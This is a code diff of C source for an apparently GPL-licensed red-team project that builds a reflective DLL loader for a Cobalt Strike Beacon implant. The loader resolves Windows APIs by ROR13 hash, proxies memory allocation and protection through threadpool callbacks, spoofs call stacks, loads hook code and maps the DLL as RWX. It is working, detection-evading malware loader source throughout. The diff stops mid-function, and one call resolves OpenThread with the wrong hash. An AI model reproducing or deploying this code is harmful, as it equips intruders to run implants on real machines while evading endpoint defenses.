||||
@@ -0,0 +1,76 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
@@ -0,0 +1,61 @@
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
|
||||
#define GETMODULEHANDLEA_HASH 0xD3324904
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALALLOCEX_HASH 0x6E1A959C
|
||||
#define VIRTUALPROTECT_HASH 0x7946C61B
|
||||
#define VIRTUALPROTECTEX_HASH 0x53D98756
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
|
||||
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
|
||||
#define INTERNETOPENA_HASH 0x57E84429
|
||||
#define INTERNETCONNECTA_HASH 0x1E4BE80E
|
||||
#define RESUMETHREAD_HASH 0x9E4A3F88
|
||||
#define CREATETHREAD_HASH 0xCA2BD06B
|
||||
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
|
||||
#define OPENPROCESS_HASH 0xEFE297C0
|
||||
#define OPENTHREAD_HASH 0x58C91E6F
|
||||
#define CLOSEHANDLE_HASH 0xFFD97FB
|
||||
#define CREATEFILEMAPPINGA_HASH 0x56C61229
|
||||
#define MAPVIEWOFFILE_HASH 0x7B073C59
|
||||
#define UNMAPVIEWOFFILE_HASH 0xB2089259
|
||||
#define VIRTUALQUERY_HASH 0xA3C8C8AA
|
||||
#define DUPLICATEHANDLE_HASH 0xBD566724
|
||||
#define READPROCESSMEMORY_HASH 0x579D1BE9
|
||||
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
|
||||
#define EXITTHREAD_HASH 0x60E0CEEF
|
||||
#define CREATEPROCESSA_HASH 0x16B3FE72
|
||||
#define SLEEP_HASH 0xDB2D49B0
|
||||
|
||||
#define TPALLOCWORK_HASH 0x7449D9F8
|
||||
#define TPPOSTWORK_HASH 0xA3560665
|
||||
#define TPRELEASEWORK_HASH 0x1FFDA65A
|
||||
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#ifndef __MINGW32__
|
||||
#pragma intrinsic( _rotr )
|
||||
#endif
|
||||
|
||||
__forceinline DWORD ror( DWORD d ) {
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
+1060
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,301 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
void setupProxy();
|
||||
|
||||
__attribute__((noinline, no_reorder)) void go() {
|
||||
setupProxy();
|
||||
}
|
||||
|
||||
#include "loaderdefs.h"
|
||||
#include "loader.h"
|
||||
#include "picorun.h"
|
||||
#include "hash.h"
|
||||
#include "resolve_eat.h"
|
||||
#include "proxy.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define DLL_BEACON_START 0x4
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
WIN32_FUNC(RtlLookupFunctionEntry);
|
||||
WIN32_FUNC(GetModuleHandleA);
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualAllocEx);
|
||||
WIN32_FUNC(VirtualProtect);
|
||||
WIN32_FUNC(VirtualProtectEx);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(GetThreadContext);
|
||||
WIN32_FUNC(SetThreadContext);
|
||||
WIN32_FUNC(ResumeThread);
|
||||
WIN32_FUNC(CreateThread);
|
||||
WIN32_FUNC(CreateRemoteThread);
|
||||
WIN32_FUNC(OpenProcess);
|
||||
WIN32_FUNC(OpenThread);
|
||||
WIN32_FUNC(CloseHandle);
|
||||
WIN32_FUNC(CreateFileMappingA);
|
||||
WIN32_FUNC(MapViewOfFile);
|
||||
WIN32_FUNC(UnmapViewOfFile);
|
||||
WIN32_FUNC(VirtualQuery);
|
||||
WIN32_FUNC(DuplicateHandle);
|
||||
WIN32_FUNC(ReadProcessMemory);
|
||||
WIN32_FUNC(WriteProcessMemory);
|
||||
WIN32_FUNC(ExitThread);
|
||||
WIN32_FUNC(CreateProcessA);
|
||||
WIN32_FUNC(Sleep);
|
||||
|
||||
TPALLOCWORK TpAllocWork;
|
||||
TPPOSTWORK TpPostWork;
|
||||
TPRELEASEWORK TpReleaseWork;
|
||||
void * NtAllocateVirtualMemory;
|
||||
void * NtProtectVirtualMemory;
|
||||
} WIN32FUNCS;
|
||||
|
||||
void findNeededFunctions(WIN32FUNCS * funcs)
|
||||
{
|
||||
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
|
||||
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
|
||||
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
|
||||
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
|
||||
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
|
||||
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
|
||||
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
|
||||
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
|
||||
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
|
||||
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
|
||||
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
|
||||
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
|
||||
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
|
||||
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
|
||||
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
|
||||
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
|
||||
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
|
||||
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
|
||||
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
|
||||
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
|
||||
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
|
||||
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
|
||||
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
|
||||
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
|
||||
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
|
||||
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
|
||||
|
||||
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
|
||||
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
|
||||
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
|
||||
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
|
||||
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
|
||||
}
|
||||
|
||||
#ifdef WIN_X86
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
|
||||
#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
|
||||
#else
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
char __DLLDATA__[0] __attribute__((section("my_data")));
|
||||
char __PICDATA__[0] __attribute__((section("my_proxy")));
|
||||
char __HOKDATA__[0] __attribute__((section("my_hooks")));
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
|
||||
|
||||
char * loader_start() {
|
||||
#ifdef WIN_X86
|
||||
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
|
||||
#else
|
||||
return (char *)go;
|
||||
#endif
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char draugrpic[4096];
|
||||
char hookdata[4096];
|
||||
char hookcode[12288];
|
||||
char dllbase[0];
|
||||
} LAYOUT;
|
||||
|
||||
void __attribute__((naked)) workCallback()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov rbx, rdx;" // move struct as we're going to stomp rdx
|
||||
|
||||
"mov rax, [rbx];" // function pointer
|
||||
"mov rcx, [rbx + 0x8];" // argument 1
|
||||
"mov rdx, [rbx + 0x10];" // argument 2
|
||||
"mov r8, [rbx + 0x18];" // argument 3
|
||||
"mov r9, [rbx + 0x20];" // argument 4
|
||||
|
||||
"mov r10, [rbx + 0x30];" // argument 6
|
||||
"mov [rsp + 0x30], r10;"
|
||||
|
||||
"mov r10, [rbx + 0x28];" // argument 5
|
||||
"mov [rsp + 0x28], r10;"
|
||||
|
||||
"jmp rax;" // jump
|
||||
".att_syntax prefix;"
|
||||
);
|
||||
}
|
||||
|
||||
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
void * baseAddress = NULL;
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
|
||||
funcs->Sleep(100);
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
|
||||
funcs->Sleep(100);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
#include "debug.h"
|
||||
#endif
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData)
|
||||
{
|
||||
char * hooks;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hooks = GETRESOURCE(__HOKDATA__);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(picosz, "[UDRL] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
|
||||
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
|
||||
#endif
|
||||
|
||||
/* Load it into the layout */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
|
||||
|
||||
/* Call its entry point */
|
||||
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
|
||||
|
||||
/* Now load the DLL */
|
||||
LoadDLL(dllData, dll, layout->dllbase);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
|
||||
|
||||
/* yolo this RWX for now */
|
||||
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
|
||||
|
||||
/* Call it twice for Beacon */
|
||||
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
|
||||
entryPoint((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
|
||||
}
|
||||
|
||||
void setupProxy()
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
char * dll;
|
||||
DLLDATA dllData;
|
||||
LAYOUT * layout;
|
||||
RESOURCE * pic;
|
||||
|
||||
/* Resolve functions */
|
||||
findNeededFunctions(&funcs);
|
||||
|
||||
/* Grab the DLL because we need its size */
|
||||
dll = GETRESOURCE(__DLLDATA__);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dll, &dllData);
|
||||
|
||||
/* Allocate memory for everything we'll load */
|
||||
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(mem, "[UDRL] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
|
||||
#endif
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(layout->draugrpic, pic->value, pic->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(layout->draugrpic);
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, layout, dll, &dllData);
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
|
||||
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
|
||||
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
|
||||
|
||||
typedef struct {
|
||||
UINT_PTR function;
|
||||
UINT_PTR argument1;
|
||||
UINT_PTR argument2;
|
||||
UINT_PTR argument3;
|
||||
UINT_PTR argument4;
|
||||
UINT_PTR argument5;
|
||||
UINT_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} __IMAGE_RELOC, *__PIMAGE_RELOC;
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
|
||||
return dll->OptionalHeader->DataDirectory + entry;
|
||||
}
|
||||
|
||||
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
|
||||
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
|
||||
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
|
||||
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
|
||||
|
||||
for (int x = 0; x < relocEntries; x++) {
|
||||
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
|
||||
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
|
||||
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
|
||||
}
|
||||
|
||||
relocEntry++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * relocationData;
|
||||
ULONG_PTR newBaseAddress;
|
||||
IMAGE_BASE_RELOCATION * relocation;
|
||||
|
||||
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
|
||||
|
||||
/* check if there are relocations present */
|
||||
if (relocationData->Size) {
|
||||
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
|
||||
|
||||
while (relocation->SizeOfBlock) {
|
||||
/* process this next relocation */
|
||||
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
|
||||
|
||||
/* go on to our next relocation */
|
||||
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
|
||||
void * hLib;
|
||||
IMAGE_THUNK_DATA * firstThunk;
|
||||
IMAGE_THUNK_DATA * originalFirstThunk;
|
||||
IMAGE_IMPORT_BY_NAME * importByName;
|
||||
ULONG_PTR importByOrdinal;
|
||||
|
||||
/* load whatever library we need here */
|
||||
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
|
||||
|
||||
/* get our thunks */
|
||||
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
|
||||
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
|
||||
|
||||
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
|
||||
* The different member names seem more for semantics than anything else. We're skipping the
|
||||
* field names in the union and just stomping over whatever is in this pointer-sized structure */
|
||||
|
||||
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
|
||||
|
||||
while ( DEREF(firstThunk) ) {
|
||||
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
|
||||
/*
|
||||
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
|
||||
* that our pointer is < MAXUSHORT ala ReactOS:
|
||||
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
|
||||
*/
|
||||
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
|
||||
}
|
||||
/* OK, we are doing an import by name. */
|
||||
else {
|
||||
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
|
||||
}
|
||||
|
||||
/* increment our pointers, to look at next import option */
|
||||
firstThunk++;
|
||||
if (originalFirstThunk)
|
||||
originalFirstThunk++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * importTableHdr;
|
||||
IMAGE_IMPORT_DESCRIPTOR * importDesc;
|
||||
|
||||
/* grab our header for the import table */
|
||||
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
|
||||
/* start with the first function of our import table, we're working solely from our destination memory now */
|
||||
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
|
||||
|
||||
/* walk our import table and process each of the entries */
|
||||
while (importDesc->Name) {
|
||||
ProcessImport(funcs, dll, dst, importDesc);
|
||||
importDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst) {
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
void * sectionSrc = NULL;
|
||||
|
||||
/* our first section! */
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int x = 0; x < numberOfSections; x++) {
|
||||
/* our source data to copy from */
|
||||
sectionSrc = src + sectionHdr->PointerToRawData;
|
||||
|
||||
/* our destination data */
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
|
||||
/* copy our section data over */
|
||||
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
|
||||
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void ParseDLL(char * src, DLLDATA * data) {
|
||||
data->DosHeader = (IMAGE_DOS_HEADER *)src;
|
||||
